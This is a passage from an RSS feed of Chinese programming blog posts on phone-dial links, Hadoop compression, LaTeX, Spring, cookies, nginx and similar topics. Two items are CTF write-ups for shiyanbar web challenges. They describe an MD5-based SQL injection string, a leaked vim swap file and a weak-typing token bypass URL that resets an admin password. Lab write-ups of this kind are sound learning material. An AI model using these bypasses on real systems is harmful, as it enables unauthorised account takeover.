      <link>https://bchobby.github.io/posts/abebc1cf1d94eabd9e090645c40fb743/</link>
      <pubDate>Mon, 12 Mar 2018 16:43:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abebc1cf1d94eabd9e090645c40fb743/</guid>
      <description>主要方法有两种：&#xA;第一种：&#xA;这种也是最简单的。&#xA;示例代码：&#xA;&amp;lt;a href=&#34;tel:+18790853577&#34;&amp;gt;点击拨打&amp;lt;/a&amp;gt; 第二种：&#xA;&amp;lt;a href=&#34;wtai://wp/mc;18790853577&#34;&amp;gt;Call ME&amp;lt;/a&amp;gt; 第二种比较标准的写法。但是不要希望支持所有的机型。&#xA;有些设备还允许发送DMTF音通话后，目标已回答。访问音控制的服务，帮助台系统或语音信箱，这是非常有用的，你可以说的链接，拨打这个电话号码，当电话被接听，请按2，等待2秒，然后按913＃“。你这样做使用postd的参数后的数字：语法; postd=&amp;lt;numbers&amp;gt;。您可以使用数字，*，＃（使用URL编码的23％价值），以及一秒钟的暂停和w等待音暂停。&#xA;&amp;lt;a href=&#34;tel:+1800229933;postd=4&#34;&amp;gt;Call us free!&amp;lt;/a&amp;gt; DEN网络（如Nextel公司）使用广播数据包，使内部网络的内部呼叫。如果你正在这样的网络，例如与客户，企业内部网，你可以允许用户启动内部调用其他成员的团队（或外部调用）使用直接连接的URL计划&#xA;&amp;lt;a href=&#34;dc:5040*0077&#34;&amp;gt;呼叫&amp;lt;/a&amp;gt; 有些机型用户呈现一个子菜单，一个电话，当他们点击链接，使他们可以选择是否将纯语音或视频通话（可在3G系统中）。日本的一些手机还允许你指定一个链接应该发起视频通话，使用的协议TEL-AV：&amp;lt;手机号&amp;gt;。&#xA;下面介绍下拨打400电话的方法：&#xA;拨打400电话的时候，可以直接&amp;lt;a href=&#34;tel:40065242,2356&#34;&amp;gt;点击拨打&amp;lt;/a&amp;gt;&#xA;逗号前面是主机号码，后面是分机号&#xA;此文来自: 马开东博客 转载请注明出处 网址： http://www.makaidong.com&#xA;码。不过这种方法只对部分手机机型有效，至今没有找到对所有机型有效的方法。哪位大侠有好的方法希望在留言里给予提醒。在此谢过&#xA;转载于:https://www.cnblogs.com/feiyu159/p/8550124.html</description>
    </item>
    <item>
      <title>hadoop中压缩与解压详解</title>
      <link>https://bchobby.github.io/posts/407cceedce76edcca05897681df12633/</link>
      <pubDate>Mon, 12 Mar 2018 11:39:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/407cceedce76edcca05897681df12633/</guid>
      <description>概述 本文会从一下几点介绍压缩也解压 1. 什么是压缩、解压？ 2. hadoop中的压缩 、解压格式有哪些？ 3. 有什么优缺点？ 4. 应用场景有哪些？ 5. 如何使用？ 6. LzoCodec和LzopCodec区别 7. Hive中的使用 大家可以带着上述几个问题来进行学习、思考。&#xA;1 什么是压缩、解压 用一句最直白的话概述，压缩就是通过某种技术（算法）把原始文件变下，相应的解压就是把压缩后的文件变成原始文件。嘿嘿是不是又可以变大又可以变小。&#xA;想要对hadoop中压缩，解压进行深刻的认识，可以从该路线进行思考：hdfs ==&amp;gt; map ==&amp;gt; shuffle ==&amp;gt; reduce 2 hadoop中的压缩格式 压缩格式UNIX工具算 法文件扩展名可分割DEFLATE无DEFLATE.deflateNogzipgzipDEFLATE.gzNoLZ4无LZ4.LZ4NObzipbzipbzip.bz2YESLZOlzopLZO.lzoYES if indexedSnappy无Snappy.snappyNO 一个简单的案例对于集中压缩方式之间的压缩比和压缩速度进行一个感观性的认识&#xA;测试环境: 8 core i7 cpu 8GB memory 64 bit CentOS 1.4GB Wikipedia Corpus 2-gram text input 压缩比 压缩时间 可以看出压缩比越高，压缩时间越长，压缩比：Snappy &amp;lt; LZ4 &amp;lt; LZO &amp;lt; GZIP &amp;lt; BZIP2&#xA;gzip: 优点：压缩比在四种压缩方式中较高；hadoop本身支持，在应用中处理gzip格式的文件就和直接处理文本一样；有hadoop native库；大部分linux系统都自带gzip命令，使用方便。 缺点：不支持split。&#xA;lzo压缩 优点：压缩/解压速度也比较快，合理的压缩率；支持split，是hadoop中最流行的压缩格式；支持hadoop native库；需要在linux系统下自行安装lzop命令，使用方便。 缺点：压缩率比gzip要低；hadoop本身不支持，需要安装；lzo虽然支持split，但需要对lzo文件建索引，否则hadoop也是会把lzo文件看成一个普通文件（为了支持split需要建索引，需要指定inputformat为lzo格式）。</description>
    </item>
    <item>
      <title>IntelliJ IDEA里找不到javax.servlet的jar包</title>
      <link>https://bchobby.github.io/posts/bac362e2198b5c3a576c582586f8a269/</link>
      <pubDate>Sun, 11 Mar 2018 14:14:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bac362e2198b5c3a576c582586f8a269/</guid>
      <description>今天在复习Java Web时，因为初次使用 IntelliJ IDEA 中，&#xA;当使用javax.servlet包下的类时(例:javax.servlet.http.HttpServletRequest), 你会发现在IntelliJ IDEA里无法成功编译这个程序。&#xA;问题解决： 办法1：使用Project Structure&#xA;在弹出的窗口中选择tomcat所在的目录，进入里面的lib目录，寻找servlet-api.jar这个jar包（如果JSP页面也有相关的JavaWeb对象，则还要寻找jsp-api.jar；如果只有Servlet，则只选择servlet-api.jar）&#xA;选择项目&#xA;OK！&#xA;方法二：使用Maven&#xA;在pom.xml文件中添加如下&#xA;OK!</description>
    </item>
    <item>
      <title>latex 让表格宽度与文本宽度相同</title>
      <link>https://bchobby.github.io/posts/49d5e767b4fbde798253fc30be9a6739/</link>
      <pubDate>Sat, 10 Mar 2018 10:45:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49d5e767b4fbde798253fc30be9a6739/</guid>
      <description>使用 tabular*， \hzise 或 \textwidth， 然后加上一些奇怪的符号。&#xA;举例：&#xA;\begin{table}[!ht] \caption{Parameter values}\label{tab:parametervalues} \begin{tabular*}{\hsize}{@{}@{\extracolsep{\fill}}lllllllllllll@{}} \toprule $p_{t}$ &amp;amp;21 &amp;amp;22 &amp;amp;20 &amp;amp;15 &amp;amp;10 &amp;amp;8 &amp;amp;5 &amp;amp;10 &amp;amp;18 &amp;amp;10 &amp;amp;14 &amp;amp;18\\ \midrule $c_{t}$ &amp;amp;5 &amp;amp;13 &amp;amp;10 &amp;amp;10 &amp;amp;10 &amp;amp;10 &amp;amp;10 &amp;amp;10 &amp;amp;10 &amp;amp;10 &amp;amp;10 &amp;amp;10\\ $h_{t}$ &amp;amp;10 &amp;amp;5 &amp;amp;5 &amp;amp;5 &amp;amp;5 &amp;amp;5 &amp;amp;5 &amp;amp;5 &amp;amp;5 &amp;amp;5 &amp;amp;5 &amp;amp;5 \\ $s_{t}$ &amp;amp;100 &amp;amp;100 &amp;amp;100 &amp;amp;100 &amp;amp;100 &amp;amp;100 &amp;amp;100 &amp;amp;100 &amp;amp;100 &amp;amp;100 &amp;amp;100 &amp;amp;100\\ $d_{t}$ &amp;amp;30 &amp;amp;45 &amp;amp;50 &amp;amp;55 &amp;amp;45 &amp;amp;55 &amp;amp;90 &amp;amp;80 &amp;amp;90 &amp;amp;65 &amp;amp;80 &amp;amp;70 \\ \bottomrule \end{tabular*} \end{table} 该例子中的 llllll 表示左对齐，可以改为 c 居中，r 右对齐。显示效果：</description>
    </item>
    <item>
      <title>实验吧 后台登录</title>
      <link>https://bchobby.github.io/posts/dee8fecf57e6b91813096c1a4a13ca29/</link>
      <pubDate>Fri, 09 Mar 2018 01:44:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dee8fecf57e6b91813096c1a4a13ca29/</guid>
      <description>http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php&#xA;先看下源码，发现这个，emmm注入无疑了。&#xA;咋整。。。没遇到过这种情况啊，想着如何构造&#39; or 1=&#39;1之类的,什么情况下md5加密后会形成这玩意呢。。。搞来搞去搞不出。。回过头来看题。。。觉得url里面ffifdyop有点奇怪，这个是啥意思？直接拿去交一发，结果。。。。&#xA;一时无语。。。还是经验太少。。</description>
    </item>
    <item>
      <title>实验吧 忘记密码了？wp</title>
      <link>https://bchobby.github.io/posts/9c0f88a8d35e68cb3f82bf0dce30522d/</link>
      <pubDate>Fri, 09 Mar 2018 01:30:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c0f88a8d35e68cb3f82bf0dce30522d/</guid>
      <description>ACM刷着累，不如刷道web玩一玩，这题是一个改密码的场景，随便填点东西提交，发现返回了一段话:&#xA;emmm...那就去step2.php看看....发现进去后会秒回step1.php，那就直接看源码吧&#xA;看到这个:&#xA;那就去submit.php瞧一瞧,发现只有一句话。。。&#xA;admin....难不成是找到管理员账号就可以登录了？那咋办，回去step1.php和step2.php找找看，step1没啥信息。。。但是step2里面暴露了玄机:&#xA;嘿嘿嘿 邮箱找到了但是还缺点啥&#xA;token.....这玩意写爬虫的时候遇到过，还挺麻烦的。。&#xA;想半天，发现了这个&#xA;似曾相识，之前做过一道类似的啊。。。Vim编辑的东西会留下备份文件，百度了一波，发现只需构造这样的url就可以访问:&#xA;http://ctf5.shiyanbar.com/10/upload/.submit.php.swp&#xA;感觉快成功了~~~看下代码可知token要十位的长度且为0，emmm那就写十个0吧，因为这里是弱类型，于是&#xA;ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&amp;amp;token=0000000000&#xA;好吧。。。回去继续撸网络流。。。</description>
    </item>
    <item>
      <title>解决Could not retrieve transaction read-only status from server</title>
      <link>https://bchobby.github.io/posts/00e9021fb2f2014b3c973699f82e18bb/</link>
      <pubDate>Thu, 08 Mar 2018 22:30:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00e9021fb2f2014b3c973699f82e18bb/</guid>
      <description>今天在处理Spring JDBC 批处理过程中,出现了以下出错&#xA;三月 08, 2018 10:14:49 下午 org.springframework.jdbc.support.SQLErrorCodesFactory &amp;lt;init&amp;gt; 信息: SQLErrorCodes loaded: [DB2, Derby, H2, HSQL, Informix, MS-SQL, MySQL, Oracle, PostgreSQL, Sybase, Hana] Exception in thread &#34;main&#34; org.springframework.dao.TransientDataAccessResourceException: PreparedStatementCallback; SQL [update Student set age = ? where id = ?]; Could not retrieve transaction read-only status from server; nested exception is java.sql.SQLException: Could not retrieve transaction read-only status from server at org.springframework.jdbc.support.SQLStateSQLExceptionTranslator.doTranslate(SQLStateSQLExceptionTranslator.java:108) at org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbackSQLExceptionTranslator.java:73) at org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbackSQLExceptionTranslator.java:81) at org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbackSQLExceptionTranslator.java:81) at org.</description>
    </item>
    <item>
      <title>看完这篇“史密斯圆图”告别懵逼射频！</title>
      <link>https://bchobby.github.io/posts/671187a1ca8f2819ecba4f8914da9839/</link>
      <pubDate>Thu, 08 Mar 2018 18:35:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/671187a1ca8f2819ecba4f8914da9839/</guid>
      <description>前言： 为了方便查看博客，特意申请了一个公众号，附上二维码，有兴趣的朋友可以关注，和我一起讨论学习，一起享受技术，一起成长。&#xA;转载自看完这篇“史密斯圆图”告别懵逼射频！&#xA;文章出处： http://www.mweda.com/hfss-cst-29038-1.html&#xA;这是什么东东?&#xA;今天解答三个问题：&#xA;1.是什么?&#xA;2.为什么?&#xA;3.干什么?&#xA;1.是什么? 该图表是由菲利普·史密斯(Phillip Smith)于1939年发明的，当时他在美国的RCA公司工作。史密斯曾说过，“在我能够使用计算尺的时候，我对以图表方式来表达数学上的关联很有兴趣”。&#xA;史密斯图表的基本在于以下的算式。&#xA;当中的Γ代表其线路的反射系数(reflection coefficient)&#xA;即S参数（S-parameter）里的S11，ZL是归一负载值，即ZL / Z0。当中，ZL是线路本身的负载值，Z0是传输线的特征阻抗（本征阻抗）值，通常会使用50Ω。&#xA;简单的说：就是类似于数学用表一样，通过查找，知道反射系数的数值。&#xA;2.为什么? 我们现在也不知道，史密斯先生是怎么想到“史密斯圆图”表示方法的灵感，是怎么来的。&#xA;很多同学看史密斯原图，屎记硬背，不得要领，其实没有揣摩，史密斯老先生的创作意图。&#xA;我个人揣测：是不是受到黎曼几何的启发，把一个平面的坐标系，给“掰弯”了。&#xA;世界地图，其实是一个用平面表示球体的过程，这个过程是一个“掰直”。&#xA;史密斯原图，巧妙之处，在于用一个圆形表示一个无穷大的平面。&#xA;2.1 首先，我们先理解“无穷大”的平面 首先的首先，我们复习一下理想的电阻、电容、电感的阻抗。&#xA;在具有电阻、电感和电容的电路里，对电路中的电流所起的阻碍作用叫做阻抗。阻抗常用Z表示，是一个复数，实部称为电阻，虚部称为电抗，其中电容在电路中对交流电所起的阻碍作用称为容抗 ,电感在电路中对交流电所起的阻碍作用称为感抗，电容和电感在电路中对交流电引起的阻碍作用总称为电抗。 阻抗的单位是欧姆。&#xA;R，电阻：在同一电路中，通过某一导体的电流跟这段导体两端的电压成正比，跟这段导体的电阻成反比,这就是欧姆定律。&#xA;（理想的电阻就是 实数，不涉及复数的概念）。&#xA;如果引入数学中复数的概念，就可以将电阻、电感、电容用相同的形式复阻抗来表示。既：电阻仍然是实数R（复阻抗的实部），电容、电感用虚数表示，分别为：&#xA;说明：负载是电阻、电感的感抗、电容的容抗三种类型的复物，复合后统称“阻抗”，写成数学公式即是：阻抗Z= R+i(ωL–1/（ωC）)。其中R为电阻，ωL为感抗，1/（ωC）为容抗。&#xA;（1）如果(ωL–1/ωC) &amp;gt; 0，称为“感性负载”；&#xA;（2）反之，如果(ωL–1/ωC)&amp;lt;0，称为“容性负载”；&#xA;我们仔细看阻抗公式，它不再是一个实数。它因为电容、电感的存在，它变成了一个复数。&#xA;电路中如果只有电阻，只影响幅度变化。&#xA;我们通过上图，我们知道，正弦波的幅度发生了变化，同时，相位也发生了变化，同时频率特性也会变化。所以我们在计算的过程中，即需要考虑实部，也需要考虑虚部。&#xA;我们可以在一个复平面里面，以实部为x轴、以虚部为y轴，表示任意一个复数。我们的阻抗，不管多少电阻、电容、电感串联、并联，之后，都可以表示在一个复平面里面。&#xA;在 RLC 串联电路中，交流电源电压 U = 220 V，频率 f = 50 Hz，R = 30 Ω，L =445 mH，C =32 mF。&#xA;在上图中，我们看到通过几个矢量的叠加，最终阻抗在复平面中，落在了蓝色的圆点位置。&#xA;所以，任意一个阻抗的计算结果，我们都可以放在这个复平面的对应位置。&#xA;各种阻抗的情况，组成了这个无穷大的平面。&#xA;2.2.反射公式 信号沿传输线向前传播时，每时每刻都会感受到一个瞬态阻抗，这个阻抗可能是传输线本身的，也可能是中途或末端其他元件的。对于信号来说，它不会区分到底是什么，信号所感受到的只有阻抗。如果信号感受到的阻抗是恒定的，那么他就会正常向前传播，只要感受到的阻抗发生变化，不论是什么引起的（可能是中途遇到的电阻，电容，电感，过孔，PCB转角，接插件），信号都会发生反射。</description>
    </item>
    <item>
      <title>J2EE、J2SE、J2ME三者的区别</title>
      <link>https://bchobby.github.io/posts/98d18f6021b5b37fab5ba60e8889439f/</link>
      <pubDate>Wed, 07 Mar 2018 14:29:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98d18f6021b5b37fab5ba60e8889439f/</guid>
      <description>前言：记录自己在工作中遇到的小问题，积少成多！因为是新手，有什么写的不好的地方还希望大吉指出来。有什么更好的办法也希望大家能够提出来，一起交流分享！（小弟在这里先谢谢大家）&#xA;正文： J2EE、J2SE、J2ME是Java平台的三个版本：&#xA;1、J2EE企业版 用于企业应用，支持分布式部署；&#xA;2、J2SE标准版 用于桌面应用，是J2EE的基础；&#xA;3、J2ME移动版（微信版） 用于小型设备，是J2SE的一个子集；&#xA;从上到下功能依次变小&#xA;简单地说：&#xA;J2SE是基础&#xA;扩充一点，再加一点EJB等企业方面的特性就是J2EE；&#xA;压缩一点，再加一点CLD等方面的特性就是J2ME；&#xA;补充： 参考链接1：http://blog.csdn.net/litong09282039/article/details/46011781</description>
    </item>
    <item>
      <title>项目启动异常：invalid constant type: 15</title>
      <link>https://bchobby.github.io/posts/7d17194013665e6c2d573e389e88f674/</link>
      <pubDate>Mon, 05 Mar 2018 15:37:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d17194013665e6c2d573e389e88f674/</guid>
      <description> java.io.IOException: invalid constant type: 15 at javassist.bytecode.ConstPool.readOne(ConstPool.java:1027) at javassist.bytecode.ConstPool.read(ConstPool.java:970) at javassist.bytecode.ConstPool.&amp;lt;init&amp;gt;(ConstPool.java:127) at javassist.bytecode.ClassFile.read(ClassFile.java:716) at javassist.bytecode.ClassFile.&amp;lt;init&amp;gt;(ClassFile.java:103) at org.scannotation.AnnotationDB.scanClass(AnnotationDB.java:311) at org.scannotation.AnnotationDB.scanArchives(AnnotationDB.java:294) javassist版本与jdk版本不兼容，建议jdk1.7对应javassist版本3.9.0 jdk1.8对应3.15.0 </description>
    </item>
    <item>
      <title>当一个线程进入一个对象的一个synchronized方法后，其它线程是否可进入此对象的其它方法?</title>
      <link>https://bchobby.github.io/posts/fbbdbebd68981b751cdd3978df7f657e/</link>
      <pubDate>Sun, 04 Mar 2018 21:48:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fbbdbebd68981b751cdd3978df7f657e/</guid>
      <description>关键是看这个方法的是否是静态方法，&#xA;1.非静态方法之间，锁住的是本类的对象，所以，当一个方法在执行的时候，就会握住这个锁，其他方法就不能进行。&#xA;2.当方法时静态方法时，进程拿到的锁和非静态的不是一个，所以在静态方法之间，必须同步，而非静态方法中可以进行，也就是说，A如果是静态同步方法，B是非静态同步方法，那么A和B是可以并发执行的。</description>
    </item>
    <item>
      <title>扫雷游戏</title>
      <link>https://bchobby.github.io/posts/378a1451e38e036b09f5483c2e834d4b/</link>
      <pubDate>Sun, 04 Mar 2018 16:21:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/378a1451e38e036b09f5483c2e834d4b/</guid>
      <description>本人是第一次发博客，有错误的地方，请谅解。（最好是指出） 本人刚刚开始做这道题时，代码写了100多行，后来才简化。 这道题主要是坐标点的算法。横坐标和纵坐标都要分别求出 看一下下面的矩阵，就是a[x][y]是‘*’的上、下、左、右、左上、右上、左下、右下八个方向上与之直接相邻的格子的方位图 a[x-1][y-1] a[x-1][y] a[x-1][y+1] a[x] [y-1] a[x][y](初始点) a[x][y+1] a[x+1][y-1] a[x+1][y] a[x+1][y+1] 所以，为了更方便的去计算坐标点的横坐标和纵坐标，我们开两个数组。 int dx[]={1,0,-1,0,-1,1,1,-1}; int dy[]={0,1,0,-1,-1,-1,1,1}; 【C++代码】 #include&amp;lt;stdio.h&amp;gt; #include&amp;lt;iostream&amp;gt; //头文件 using namespace std; char a[101][101]; //开数组 char b[101][101]; int n,m; //行，列 int dx[]={1,0,-1,0,-1,1,1,-1}; //横坐标的加减点 int dy[]={0,1,0,-1,-1,-1,1,1}; //纵坐标的加减点 void lt(int x,int y) //开一个算周围方块++的函数 { int nx,ny; for (int k=0;k&amp;lt;8;k++) { nx=x+dx[k]; //每个坐标点算出并存储 ny=y+dy[k]; if (nx&amp;gt;=1&amp;amp;&amp;amp;nx&amp;lt;=n&amp;amp;&amp;amp;ny&amp;gt;=1&amp;amp;&amp;amp;ny&amp;lt;=m) //判断边界 { b[nx][ny]++; //周围方块++ } } } int main() { scanf(&#34;%d%d&#34;,&amp;amp;n,&amp;amp;m); //输入行，列 for (int i=1;i&amp;lt;=n;i++) { for (int j=1;j&amp;lt;=m;j++) { cin&amp;gt;&amp;gt;a[i][j]; //输入每个点 } } for (int i=1;i&amp;lt;=n;i++) for (int j=1;j&amp;lt;=m;j++) { if(a[i][j]==&#39;?</description>
    </item>
    <item>
      <title>spring cloud eureka 消费者使用服务名访问，不能访问的问题</title>
      <link>https://bchobby.github.io/posts/93a57c351262015d957556a92da872d7/</link>
      <pubDate>Sat, 03 Mar 2018 20:15:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93a57c351262015d957556a92da872d7/</guid>
      <description>这里说一下我自己犯的一个错误。我有三个项目eureka-server，provide-service，consumer-service，以下我统称为ABC三个项目。现在的步骤是这样的，先访问C项目的一个接口，接口里面用restTemplate发送的一个请求，具体看下面&#xA;@RestController public class TestController { @Autowired private RestTemplate restTemplate; @RequestMapping(value = &#34;/test&#34;) public void test() { //template.getForEntity(&#34;http://localhost:8000/test&#34;,String.class); restTemplate.getForEntity(&#34;http://provide-serivce/test&#34;,String.class); } } 然后B的test这个接口代码如下&#xA;@RequestMapping(value = &#34;/test&#34;) public String test(HttpServletResponse resp) { System.out.println(&#34;provide-service is provides services&#34;); return &#34;redirect:/page&#34;; } 这里ABC的配置是正常的，并且BC项目都注册到A上了，当我们访问C的test接口时显示如下错误&#xA;java.net.UnknownHostException: provide-serivce at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:184) ~[na:1.8.0_144] at java.net.PlainSocketImpl.connect(PlainSocketImpl.java:172) ~[na:1.8.0_144] at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:392) ~[na:1.8.0_144] at java.net.Socket.connect(Socket.java:589) ~[na:1.8.0_144] at java.net.Socket.connect(Socket.java:538) ~[na:1.8.0_144] 这里显示的错误很明显,就是不知道的域名。然后我就一直纳闷了，按我自己的逻辑，我的消费者已经拥有的从注册中心拉取服务名实例的权限，已经拥有服务名列表（服务名就是包含元元素，其中包含ip，port），为什么显示不知道的域名呢？当然了这就是我想当然的问题了。是的C项目确实有从注册中心拿的服务实例列表，但是我错的点resttemplate只是类似于httpclient的一个发送rest风格的请求，它这里是没有办法去识别所谓的服务名的，不识别服务名当然就会报那个错误咯。在《spring Cloud 微服务实战》这本书上写的，一定要@loadBalance注解修饰的restTemplate才能实现服务名的调用，没有修饰的restTemplate是没有该功能的。@loadBalance是Netflix的ribbon中的一个负载均衡的注解，当我项目加了loadbalacnce的时候，就可以了。&#xA;至于为什么一定要该注解修饰，这里我大概讲一下。loadBalance这个注解加上之后，这个注解有3件事情要处理。&#xA;第一件就是从负载均衡器中选一个对应的服务实例，那有的人就会问为什么从负载均衡器中挑选，原因很明显就是，所有的服务名实例都放在负载均衡器中的serverlist。&#xA;第二件事情就是从第一件事情挑选的实例中去请求内容。&#xA;第三件事情就是由服务名转为真正使用的ip地址&#xA;讲到这里大概应该清楚了吧。哎，之前也是百思不得其解，现在终于明白了</description>
    </item>
    <item>
      <title>JS Cookie丢失问题</title>
      <link>https://bchobby.github.io/posts/2fb96e64cb339c4a323ce20965015f7e/</link>
      <pubDate>Sat, 03 Mar 2018 19:28:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2fb96e64cb339c4a323ce20965015f7e/</guid>
      <description>JS Cookie丢失问题 前些天有人问我vue中使用proxy发送请求，为什么请求时cookie丢失，首先说一下我对cookie的理解：&#xA;1、cookie在正常情况下是会在每次请求时自动携带，&#xA;2、cookie虽然是由一个网页所创建，但并不只是创建cookie的网页才能读取该cookie。&#xA;在默认情况下，与创建cookie的网页在同一目录或子目录下的所有网页都可以读取该cookie。即:&#xA;(1)如果在这个目录下还有子目录，要使在子目录中也可以访问，则需要使用path参数设置cookie，语法如下：&#xA;document.cookie=&#34;name=value; path=cookiePath&#34;;&#xA;(2)如果要使cookie在整个网站下可用，可以将cookieDir指定为根目录，示例如下：&#xA;document.cookie=&#34;userId=320; path=/&#34;; 上面所说都指的是在同一个目录中的访问，可是要想在不同虚拟目录中访问则要另外想办法来解决这个问题。&#xA;设置路径代码如下：&#xA;var now=new Date()&#xA;new Date().setDate(now.getDate()+1);&#xA;var cookies=&#34;setCookies=&#34;+escape(&#34;我的cookies&#34;)+&#34;;expires=&#34;+now.toString()+&#34;;path=/&#34;;&#xA;注意:path不能解决在不同域中访问cookie的问题。&#xA;(3) 在默认情况下，只有和设置cookie的网页在同一个Web服务器的网页才能访问该网页创建的cookie。&#xA;但可以通过domain参数来实现对其 的控制，其语法格式如下：&#xA;document.cookie=&#34;name=value; domain=cookieDomain&#34;;&#xA;设置域代码如下：&#xA;var now=new Date()&#xA;new Date().setDate(now.getDate()+1); var cookies=&#34;userName=&#34;+escape(&#34;哈哈&#34;)+&#34;;expires=&#34;+now.toString()+&#34;;path=/; domain=.baidu.com&#34;; 看完上面的叙述我们回到上面的疑问，不难理解vue中使用proxy时cookie丢失的原因就是path和domain,&#xA;如果后台返回cookie的path是&#39;/b&#39;而本地前端本地开发地址为localhost:8080/#/home 页面，我们需要再后端返回cookie时手动修改path路径，代码如下： proxyTable: { &#39;/api&#39;:{ target: &#39;后台接口地址&#39;, changeOrigin: true, pathRewrite: { &#39;^/api&#39;: &#39;/b&#39;,//注意这里只是接口关键字的替换，与cookie的path无关 }, onProxyRes(proxyRes, req, res) { var oldCookie = proxyRes.headers[&#39;set-cookie&#39;] if(oldCookie== null || oldCookie.length==0){ delete proxyRes.headers[&#39;set-cookie&#39;] return } var oldCookieItems = oldCookie[0].</description>
    </item>
    <item>
      <title>深入javascript之原型和原型链</title>
      <link>https://bchobby.github.io/posts/4c9723dd0c060704100708fed54f91cc/</link>
      <pubDate>Fri, 02 Mar 2018 21:22:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c9723dd0c060704100708fed54f91cc/</guid>
      <description>原型和原型链是js中的难点也是重点，明白了原型和原型链会让我们在后面不管是学习还是工作都会更加高效，并且原型和原型链会是面试中必不可少的话题。看完此篇文章一定会让你对原型，原型链有深刻全面的了解。&#xA;深入系列：深入javascript之作用域&#xA;深入系列：深入javascript之执行上下文&#xA;一，函数对象 所有引用类型（函数，数组，对象）都拥有__proto__属性（隐式原型）&#xA;所有函数拥有prototype属性（显式原型）（仅限函数）&#xA;原型对象：拥有prototype属性的对象，在定义函数时就被创建&#xA;二，构造函数 先复习下构造函数&#xA;//创建构造函数 function Word(words){ this.words = words; } Word.prototype = { alert(){ alert(this.words); } } //创建实例 var w = new Word(&#34;hello world&#34;); w.print = function(){ console.log(this.words); console.log(this); //Person对象 } w.print(); //hello world w.alert(); //hello world print()方法是w实例本身具有的方法，所以w.print()打印hello world；alert()不属于w实例的方法，属于构造函数的方法，w.alert()也会打印hello world，因为实例继承构造函数的方法。&#xA;实例w的隐式原型指向它构造函数的显式原型，指向的意思是恒等于&#xA;w.__proto__ === Word.prototype 当调用某种方法或查找某种属性时，首先会在自身调用和查找，如果自身并没有该属性或方法，则会去它的__proto__属性中调用查找，也就是它构造函数的prototype中调用查找。所以很好理解实例继承构造函数的方法和属性：&#xA;w本身没有alert()方法，所以会去Word()的显式原型中调用alert()，即实例继承构造函数的方法。 三，原型和原型链 Function.prototype.a = &#34;a&#34;; Object.prototype.b = &#34;b&#34;; function Person(){} console.log(Person); //function Person() let p = new Person(); console.</description>
    </item>
    <item>
      <title>nginx与tomcat的简单集群</title>
      <link>https://bchobby.github.io/posts/e30808b58e78fee8050118b518bac794/</link>
      <pubDate>Fri, 02 Mar 2018 11:51:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e30808b58e78fee8050118b518bac794/</guid>
      <description>实现高性能负载均衡的Tomcat集群：&#xA;工具：nginx-1.13.9和多个apache-tomcat-9.0.0.M9（解压版）nginx下载地址：https://nginx.org/en/download.html&#xA;一.多个tomcat的配置 先看安装版的界面：&#xA;从这可以看出需要免安装版的tomcat里面需要设置的主要是server shutdown port（8005） 和 http/1.1 Connector Port （8080）和AJP/1.3 Connector Port（8009）等三个参数及windows Service Name tomcat服务器名称（对应免安装版的D:\nginx\tomcat\apache-tomcat-9.0.0.M91目录里的名字apache-tomcat-9.0.0.M91），主要是这四个参数。上面截图参数是默认参数。&#xA;故看看下面免安装版的注意点：&#xA;解压多个tomcat名字命名不一样。tomcat里面的设置点：&#xA;A.修改Tomcat的conf目录下的server.xml，修改这多个Tomcat的启动端口，分别为18080和28080等。&#xA;需要修改的是下面三处：蓝色的端口号（关闭，启动，？）&#xA;&amp;lt;Server port=&#34;28005&#34; shutdown=&#34;SHUTDOWN&#34;&amp;gt;&#xA;&amp;lt;Connector port=&#34;28080&#34; protocol=&#34;HTTP/1.1&#34;&#xA;connectionTimeout=&#34;20000&#34;&#xA;redirectPort=&#34;8443&#34; /&amp;gt;&#xA;&amp;lt;Connector port=&#34;28009&#34; protocol=&#34;AJP/1.3&#34; redirectPort=&#34;8443&#34; /&amp;gt;&#xA;B.在startup.bat里面开头部分设置JAVA_HOME和CATALINA_HOME&#xA;SET JAVA_HOME=D:\software\jdk1.8&#xA;SET CATALINA_HOME=D:\nginx\tomcat\apache-tomcat-9.0.0.M91&#xA;@echo off&#xA;然后启动并访问tomcat首页，看是不是能正常启动，&#xA;三个tomcat启动后截图：&#xA;这样三个tomcat能正常启动了。&#xA;注意点：tomcat启动报错：1.端口号问题2.配置环境问题&#xA;The JRE_HOME environment variable is not defined correctly（报错了）原因：Set JAVA_HOME or JRE_HOME if not already set and ensure any provided（设置了多个JAVA_HOME）&#xA;二，nginx的简单配置 nginxconf的原始代码：&#xA;#user nobody;</description>
    </item>
    <item>
      <title>单片机开发工具之keil介绍</title>
      <link>https://bchobby.github.io/posts/d272ddc733e3c8b5425f0601349fb8d2/</link>
      <pubDate>Fri, 02 Mar 2018 11:45:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d272ddc733e3c8b5425f0601349fb8d2/</guid>
